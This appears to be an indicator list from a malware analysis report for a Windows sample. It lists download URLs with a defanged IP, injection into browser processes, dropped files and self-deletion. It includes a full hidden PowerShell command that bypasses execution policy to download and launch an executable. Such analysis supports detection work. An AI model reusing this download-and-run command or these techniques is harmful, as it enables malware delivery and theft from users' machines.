Technical Information
- http://10#.#01.143.184/winnaam/lmarkedsa.exe as %appdata%\lmarkedsa.exe
- %WINDIR%\explorer.exe
- iexplore.exe
- iexplore.exe process, wininet.dll module
- firefox.exe process, nss3.dll module
- %TEMP%\abctfhghghghghœ.sct
- %APPDATA%\lmarkedsa.exe
- %APPDATA%\lmarkedsa.exe
- http://10#.#01.143.184/winnaam/lmarkedsa.exe
- http://10#.#01.143.184/winaam/winamaan_lKiOTRFaFH12.bin
- '%APPDATA%\lmarkedsa.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://10#.#01.143.184/winnaam/lmarkedsa.exe','%APPDATA%\lmarkedsa.exe');Star...' (with hidden window)
- '%WINDIR%\syswow64\systray.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%APPDATA%\lmarkedsa.exe"